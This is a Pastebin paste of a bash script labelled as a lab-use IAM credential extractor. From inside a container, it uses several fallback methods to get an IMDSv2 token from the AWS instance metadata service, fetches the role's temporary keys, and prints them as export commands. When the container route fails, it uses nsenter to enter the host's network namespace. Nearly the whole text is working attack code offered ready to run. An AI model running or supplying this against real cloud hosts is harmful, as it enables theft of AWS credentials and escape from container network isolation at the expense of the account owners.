Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #!/bin/bash
- # Enhanced IAM Credential Extractor (Lab Use Only)
- # Handles IMDSv2 token retrieval with multiple fallback methods
- # Includes debugging and enhanced error handling
- echo "==== Enhanced IAM Credential Extractor (Lab Use Only) ===="
- echo ""
- # Global variables
- TOKEN=""
- ROLE_NAME=""
- CREDS=""
- DEBUG=${DEBUG:-0}
- # Debug function
- debug_log() {
- if [ "$DEBUG" -eq 1 ]; then
- echo "[DEBUG] $1" >&2
- fi
- }
- # Enhanced metadata service check - skip token validation for connectivity test
- check_metadata_access() {
- echo "[*] Checking metadata service accessibility..."
- # Test basic connectivity first
- if timeout 5 nc -z 169.254.169.254 80 2>/dev/null; then
- echo "[+] Port 80 is reachable on 169.254.169.254"
- else
- echo "[-] Port 80 not reachable on 169.254.169.254"
- return 1
- fi
- # For IMDSv2, HTTP 401 on root endpoint is expected and means service is working
- local response
- response=$(timeout 10 curl -s -w "%{http_code}" -o /dev/null http://169.254.169.254/ 2>/dev/null)
- debug_log "HTTP response code: $response"
- if [ "$response" -eq 200 ] || [ "$response" -eq 404 ] || [ "$response" -eq 403 ] || [ "$response" -eq 401 ]; then
- if [ "$response" -eq 401 ]; then
- echo "[+] Metadata service responding with HTTP 401 (IMDSv2 enforced - this is expected)"
- else
- echo "[+] Metadata service is responding (HTTP $response)"
- fi
- return 0
- else
- echo "[-] Metadata service not responding properly (HTTP $response)"
- return 1
- fi
- }
- # Enhanced token retrieval with multiple methods
- # Enhanced token retrieval with better error handling and debugging
- get_token_method1() {
- echo "[*] Method 1: Standard IMDSv2 token request..."
- # Make the request and capture both response and HTTP code
- local temp_output=$(mktemp)
- local temp_headers=$(mktemp)
- timeout 10 curl -s -D "$temp_headers" -o "$temp_output" -X PUT \
- -H "X-aws-ec2-metadata-token-ttl-seconds: 21600" \
- http://169.254.169.254/latest/api/token 2>/dev/null
- local http_code=$(grep -o "HTTP/[0-9.]* [0-9]*" "$temp_headers" 2>/dev/null | tail -n1 | awk '{print $2}')
- TOKEN=$(cat "$temp_output" 2>/dev/null | tr -d '\r\n\t ')
- rm -f "$temp_output" "$temp_headers"
- # Default http_code if parsing failed
- [ -z "$http_code" ] && http_code="000"
- debug_log "HTTP code: $http_code, Token length: ${#TOKEN}"
- debug_log "Token content: ${TOKEN:0:50}..."
- if [ "$http_code" -eq 200 ] 2>/dev/null && [ -n "$TOKEN" ] && [ ${#TOKEN} -gt 10 ]; then
- echo "[+] Method 1 successful - Token: ${TOKEN:0:20}..."
- return 0
- elif [ "$http_code" -eq 403 ] 2>/dev/null; then
- echo "[-] Method 1 failed - HTTP 403: IMDSv2 token requests blocked"
- elif [ "$http_code" -eq 404 ] 2>/dev/null; then
- echo "[-] Method 1 failed - HTTP 404: IMDSv2 endpoint not found"
- elif [ "$http_code" -eq 401 ] 2>/dev/null; then
- echo "[-] Method 1 failed - HTTP 401: Unauthorized token request"
- else
- echo "[-] Method 1 failed - HTTP $http_code (connection/timeout issue)"
- fi
- return 1
- }
- get_token_method2() {
- echo "[*] Method 2: IMDSv2 with alternative timeout and headers..."
- local temp_output=$(mktemp)
- local temp_headers=$(mktemp)
- timeout 15 curl -s -D "$temp_headers" -o "$temp_output" -X PUT \
- -H "X-aws-ec2-metadata-token-ttl-seconds: 3600" \
- -H "Connection: close" \
- http://169.254.169.254/latest/api/token 2>/dev/null
- local http_code=$(grep -o "HTTP/[0-9.]* [0-9]*" "$temp_headers" 2>/dev/null | tail -n1 | awk '{print $2}')
- TOKEN=$(cat "$temp_output" 2>/dev/null | tr -d '\r\n\t ')
- rm -f "$temp_output" "$temp_headers"
- [ -z "$http_code" ] && http_code="000"
- debug_log "Method 2 - HTTP code: $http_code, Token: ${TOKEN:0:50}..."
- if [ "$http_code" -eq 200 ] 2>/dev/null && [ -n "$TOKEN" ] && [ ${#TOKEN} -gt 10 ]; then
- echo "[+] Method 2 successful - Token: ${TOKEN:0:20}..."
- return 0
- fi
- echo "[-] Method 2 failed - HTTP $http_code"
- return 1
- }
- get_token_method3() {
- echo "[*] Method 3: IMDSv2 with User-Agent and IPv4 binding..."
- local temp_output=$(mktemp)
- local temp_headers=$(mktemp)
- timeout 15 curl -s -D "$temp_headers" -o "$temp_output" -X PUT \
- -H "X-aws-ec2-metadata-token-ttl-seconds: 21600" \
- -H "User-Agent: aws-cli/2.0" \
- --ipv4 \
- http://169.254.169.254/latest/api/token 2>/dev/null
- local http_code=$(grep -o "HTTP/[0-9.]* [0-9]*" "$temp_headers" 2>/dev/null | tail -n1 | awk '{print $2}')
- TOKEN=$(cat "$temp_output" 2>/dev/null | tr -d '\r\n\t ')
- rm -f "$temp_output" "$temp_headers"
- [ -z "$http_code" ] && http_code="000"
- debug_log "Method 3 - HTTP code: $http_code, Token: ${TOKEN:0:50}..."
- if [ "$http_code" -eq 200 ] 2>/dev/null && [ -n "$TOKEN" ] && [ ${#TOKEN} -gt 10 ]; then
- echo "[+] Method 3 successful - Token: ${TOKEN:0:20}..."
- return 0
- fi
- echo "[-] Method 3 failed - HTTP $http_code"
- return 1
- }
- get_token_method4() {
- echo "[*] Method 4: Using wget for token request..."
- if ! command -v wget >/dev/null; then
- echo "[-] Method 4 skipped - wget not available"
- return 1
- fi
- local temp_file=$(mktemp)
- # Use wget with server response
- if timeout 15 wget -q -S -O "$temp_file" \
- --method=PUT \
- --header="X-aws-ec2-metadata-token-ttl-seconds: 21600" \
- http://169.254.169.254/latest/api/token 2>&1 | grep -q "200 OK"; then
- TOKEN=$(cat "$temp_file" 2>/dev/null | tr -d '\r\n\t ')
- rm -f "$temp_file"
- if [ -n "$TOKEN" ] && [ ${#TOKEN} -gt 10 ]; then
- echo "[+] Method 4 successful - Token: ${TOKEN:0:20}..."
- return 0
- fi
- fi
- rm -f "$temp_file"
- echo "[-] Method 4 failed"
- return 1
- }
- # Method 5: Try with different curl options
- get_token_method5() {
- echo "[*] Method 5: Token request with alternative curl options..."
- # Try without interface binding, just basic curl
- local temp_output=$(mktemp)
- timeout 15 curl -s -o "$temp_output" \
- --max-time 10 \
- --connect-timeout 5 \
- -X PUT \
- -H "X-aws-ec2-metadata-token-ttl-seconds: 21600" \
- -w "HTTPCODE:%{http_code}" \
- http://169.254.169.254/latest/api/token 2>/dev/null > /tmp/curl_debug.out
- local http_code=$(grep "HTTPCODE:" /tmp/curl_debug.out 2>/dev/null | cut -d: -f2)
- TOKEN=$(cat "$temp_output" 2>/dev/null | tr -d '\r\n\t ')
- rm -f "$temp_output" /tmp/curl_debug.out
- [ -z "$http_code" ] && http_code="000"
- debug_log "Method 5 - HTTP code: $http_code, Token: ${TOKEN:0:50}..."
- if [ "$http_code" -eq 200 ] 2>/dev/null && [ -n "$TOKEN" ] && [ ${#TOKEN} -gt 10 ]; then
- echo "[+] Method 5 successful - Token: ${TOKEN:0:20}..."
- return 0
- fi
- echo "[-] Method 5 failed - HTTP $http_code"
- return 1
- }
- # Method 6: Try with minimal headers
- get_token_method6() {
- echo "[*] Method 6: Minimal token request..."
- # Sometimes containers have issues with certain headers, try minimal approach
- TOKEN=$(timeout 10 curl -s -X PUT \
- "http://169.254.169.254/latest/api/token" \
- -H "X-aws-ec2-metadata-token-ttl-seconds: 21600" 2>/dev/null | tr -d '\r\n\t ')
- debug_log "Method 6 - Token: ${TOKEN:0:50}..."
- if [ -n "$TOKEN" ] && [ ${#TOKEN} -gt 10 ]; then
- echo "[+] Method 6 successful - Token: ${TOKEN:0:20}..."
- return 0
- fi
- echo "[-] Method 6 failed"
- return 1
- }
- # Try all token methods with enhanced error reporting
- get_token() {
- local ns="$1"
- echo "[*] Getting IMDSv2 token ($ns)..."
- if [ "$ns" == "container" ]; then
- # Try multiple methods in sequence
- echo "[*] Attempting container-based token retrieval..."
- get_token_method1 && return 0
- get_token_method2 && return 0
- get_token_method3 && return 0
- command -v wget >/dev/null && get_token_method4 && return 0
- get_token_method5 && return 0
- get_token_method6 && return 0
- echo "[-] All container token methods failed"
- echo "[!] This usually indicates:"
- echo " 1. Container has restricted IMDSv2 access"
- echo " 2. Network policy blocking metadata access"
- echo " 3. Container runtime security restrictions"
- echo " 4. EC2 instance may not have proper IMDSv2 configuration"
- else
- # Host namespace method
- echo "[*] Attempting host namespace token retrieval..."
- local token_result
- token_result=$(curl_hostns "latest/api/token" "-X PUT -H 'X-aws-ec2-metadata-token-ttl-seconds: 21600'" 2>/dev/null)
- if [ -n "$token_result" ] && [ ${#token_result} -gt 10 ]; then
- TOKEN="$token_result"
- echo "[+] Host namespace token successful - Token: ${TOKEN:0:20}..."
- return 0
- else
- echo "[-] Host namespace token failed"
- debug_log "Host namespace token result: '$token_result'"
- fi
- fi
- return 1
- }
- # Enhanced role name retrieval
- get_role_name() {
- local ns="$1"
- echo "[*] Getting IAM role name ($ns)..."
- if [ "$ns" == "container" ]; then
- # Try with different approaches
- ROLE_NAME=$(timeout 10 curl -s \
- -H "X-aws-ec2-metadata-token: $TOKEN" \
- http://169.254.169.254/latest/meta-data/iam/security-credentials/ 2>/dev/null)
- # Alternative method if first fails
- if [ -z "$ROLE_NAME" ]; then
- debug_log "Trying alternative role name method..."
- ROLE_NAME=$(timeout 10 curl -s \
- -H "X-aws-ec2-metadata-token: $TOKEN" \
- -H "User-Agent: aws-cli/2.0" \
- http://169.254.169.254/latest/meta-data/iam/security-credentials/ 2>/dev/null)
- fi
- else
- ROLE_NAME=$(curl_hostns "latest/meta-data/iam/security-credentials/" "-H 'X-aws-ec2-metadata-token: $TOKEN'")
- fi
- # Clean up role name (remove whitespace/newlines)
- ROLE_NAME=$(echo "$ROLE_NAME" | tr -d '\r\n' | head -n 1)
- if [ -n "$ROLE_NAME" ]; then
- echo "[+] Found IAM role: $ROLE_NAME"
- return 0
- else
- echo "[-] No IAM role found"
- debug_log "Role name response was empty or invalid"
- return 1
- fi
- }
- # Enhanced credentials retrieval
- get_credentials() {
- local ns="$1"
- echo "[*] Getting IAM credentials ($ns)..."
- if [ "$ns" == "container" ]; then
- CREDS=$(timeout 15 curl -s \
- -H "X-aws-ec2-metadata-token: $TOKEN" \
- "http://169.254.169.254/latest/meta-data/iam/security-credentials/$ROLE_NAME" 2>/dev/null)
- # Try alternative method if first fails
- if [ -z "$CREDS" ] || ! echo "$CREDS" | grep -q "AccessKeyId"; then
- debug_log "Trying alternative credentials method..."
- CREDS=$(timeout 15 curl -s \
- -H "X-aws-ec2-metadata-token: $TOKEN" \
- -H "User-Agent: aws-cli/2.0" \
- "http://169.254.169.254/latest/meta-data/iam/security-credentials/$ROLE_NAME" 2>/dev/null)
- fi
- else
- CREDS=$(curl_hostns "latest/meta-data/iam/security-credentials/$ROLE_NAME" "-H 'X-aws-ec2-metadata-token: $TOKEN'")
- fi
- debug_log "Credentials response: ${CREDS:0:100}..."
- if [ -n "$CREDS" ] && echo "$CREDS" | grep -q "AccessKeyId"; then
- echo "[+] Retrieved credentials successfully!"
- return 0
- else
- echo "[-] Failed to retrieve valid credentials"
- debug_log "Credentials were empty or malformed"
- return 1
- fi
- }
- # Function to get host PID (enhanced)
- get_host_pid() {
- # Try multiple methods to get host PID
- local host_pid
- # Method 1: Docker inspect
- host_pid=$(docker inspect --format '{{.State.Pid}}' $(hostname) 2>/dev/null)
- [ -n "$host_pid" ] && echo "$host_pid" && return
- # Method 2: Check /proc/1/cgroup
- if [ -f /proc/1/cgroup ] && grep -q docker /proc/1/cgroup; then
- host_pid=$(ps aux | grep '[d]ockerd' | head -n 1 | awk '{print $2}' 2>/dev/null)
- [ -n "$host_pid" ] && echo "$host_pid" && return
- fi
- # Method 3: Try to find container runtime process
- host_pid=$(pgrep -f containerd 2>/dev/null | head -n 1)
- [ -n "$host_pid" ] && echo "$host_pid" && return
- return 1
- }
- # Enhanced host namespace curl
- curl_hostns() {
- local path="$1"
- local token_header="$2"
- local host_pid
- host_pid=$(get_host_pid)
- if [ -n "$host_pid" ] && command -v nsenter &>/dev/null; then
- debug_log "Using nsenter with PID: $host_pid"
- nsenter -t "$host_pid" -n timeout 15 curl -s $token_header "http://169.254.169.254/$path" 2>/dev/null
- else
- debug_log "nsenter not available or host PID not found"
- return 1
- fi
- }
- # Enhanced credential export
- export_credentials() {
- echo "[*] Parsing and exporting credentials..."
- # Try jq first, then fall back to grep
- if command -v jq >/dev/null 2>&1; then
- ACCESS_KEY=$(echo "$CREDS" | jq -r '.AccessKeyId' 2>/dev/null)
- SECRET_KEY=$(echo "$CREDS" | jq -r '.SecretAccessKey' 2>/dev/null)
- SESSION_TOKEN=$(echo "$CREDS" | jq -r '.Token' 2>/dev/null)
- EXPIRATION=$(echo "$CREDS" | jq -r '.Expiration' 2>/dev/null)
- else
- ACCESS_KEY=$(echo "$CREDS" | grep -oP '"AccessKeyId"\s*:\s*"\K[^"]+' | head -n 1)
- SECRET_KEY=$(echo "$CREDS" | grep -oP '"SecretAccessKey"\s*:\s*"\K[^"]+' | head -n 1)
- SESSION_TOKEN=$(echo "$CREDS" | grep -oP '"Token"\s*:\s*"\K[^"]+' | head -n 1)
- EXPIRATION=$(echo "$CREDS" | grep -oP '"Expiration"\s*:\s*"\K[^"]+' | head -n 1)
- fi
- debug_log "Parsed - AccessKey: ${ACCESS_KEY:0:10}..., SecretKey: ${SECRET_KEY:0:10}..., Token: ${SESSION_TOKEN:0:20}..."
- if [ -n "$ACCESS_KEY" ] && [ -n "$SECRET_KEY" ] && [ -n "$SESSION_TOKEN" ]; then
- echo ""
- echo "============================================"
- echo "# 🎯 AWS Credentials Successfully Retrieved!"
- echo "============================================"
- echo ""
- echo "# Copy and paste these commands:"
- echo "export AWS_ACCESS_KEY_ID=\"$ACCESS_KEY\""
- echo "export AWS_SECRET_ACCESS_KEY=\"$SECRET_KEY\""
- echo "export AWS_SESSION_TOKEN=\"$SESSION_TOKEN\""
- echo ""
- if [ -n "$EXPIRATION" ]; then
- echo "# Credentials expire at: $EXPIRATION"
- echo ""
- fi
- echo "# Verify with: aws sts get-caller-identity"
- echo "============================================"
- return 0
- else
- echo "[-] Failed to parse credentials properly"
- debug_log "Raw credentials: $CREDS"
- return 1
- fi
- }
- # Enhanced debugging mode with network diagnostics
- enable_debug() {
- export DEBUG=1
- echo "[DEBUG] Debug mode enabled"
- echo "[DEBUG] Container ID: $(hostname)"
- echo "[DEBUG] Available tools: curl=$(command -v curl), wget=$(command -v wget), jq=$(command -v jq), nsenter=$(command -v nsenter)"
- echo "[DEBUG] Container environment:"
- echo "[DEBUG] - Docker env file: $([ -f /.dockerenv ] && echo "Present" || echo "Not found")"
- echo "[DEBUG] - Cgroup: $(head -n 1 /proc/1/cgroup 2>/dev/null | grep -o 'docker\|containerd\|podman' || echo "Unknown")"
- echo "[DEBUG] Network interfaces:"
- ip addr show 2>/dev/null | grep -E "(inet|UP)" || ifconfig 2>/dev/null | grep -E "(inet|UP)"
- echo "[DEBUG] Default route:"
- ip route show default 2>/dev/null || route -n 2>/dev/null | grep "^0.0.0.0"
- echo "[DEBUG] DNS configuration:"
- cat /etc/resolv.conf 2>/dev/null | head -3
- echo "[DEBUG] Testing basic connectivity to metadata service:"
- # Test raw connectivity
- timeout 5 nc -z 169.254.169.254 80 2>/dev/null && echo "[DEBUG] - Port 80: OPEN" || echo "[DEBUG] - Port 80: CLOSED/FILTERED"
- # Test with ping (if available)
- if command -v ping >/dev/null; then
- timeout 3 ping -c 1 169.254.169.254 >/dev/null 2>&1 && echo "[DEBUG] - Ping: SUCCESS" || echo "[DEBUG] - Ping: FAILED"
- fi
- # Test HTTP response
- local test_response
- test_response=$(timeout 5 curl -s -w "HTTP_CODE:%{http_code} TIME:%{time_total}" http://169.254.169.254/ 2>/dev/null)
- echo "[DEBUG] - HTTP test: $test_response"
- }
- # Main execution with enhanced error handling
- main() {
- # Check if debug mode requested
- if [ "$1" == "--debug" ] || [ "$1" == "-d" ]; then
- enable_debug
- fi
- echo "[*] Starting container-based IMDSv2 credential extraction..."
- # Check if we're in a container
- if [ -f /.dockerenv ] || grep -q docker /proc/1/cgroup 2>/dev/null; then
- echo "[+] Container environment detected"
- else
- echo "[!] Warning: Not in a container environment"
- fi
- # Try container network first
- if check_metadata_access; then
- echo "[*] Attempting credential extraction from container namespace..."
- if get_token "container" && get_role_name "container" && get_credentials "container"; then
- if export_credentials; then
- exit 0
- fi
- fi
- fi
- echo ""
- echo "[*] Container method failed, attempting host network namespace..."
- # Check prerequisites for host namespace method
- if ! command -v nsenter >/dev/null; then
- echo "[-] nsenter not available - cannot try host namespace method"
- echo "[!] Try: apt-get update && apt-get install -y util-linux"
- elif ! get_host_pid >/dev/null; then
- echo "[-] Cannot determine host PID - host namespace method unavailable"
- else
- if get_token "hostns" && get_role_name "hostns" && get_credentials "hostns"; then
- if export_credentials; then
- exit 0
- fi
- fi
- fi
- echo ""
- echo "============================================"
- echo "[-] ❌ Could not retrieve credentials"
- echo "============================================"
- echo ""
- echo "Possible issues:"
- echo "1. IMDSv2 is enforced but container has limited access"
- echo "2. Container is not running on an EC2 instance with IAM role"
- echo "3. Network restrictions prevent metadata access"
- echo "4. Container runtime restrictions"
- echo ""
- echo "Try running with debug mode: $0 --debug"
- echo "============================================"
- exit 1
- }
- # Run with all arguments
- main "$@"
Advertisement
Add Comment
Please, Sign In to add comment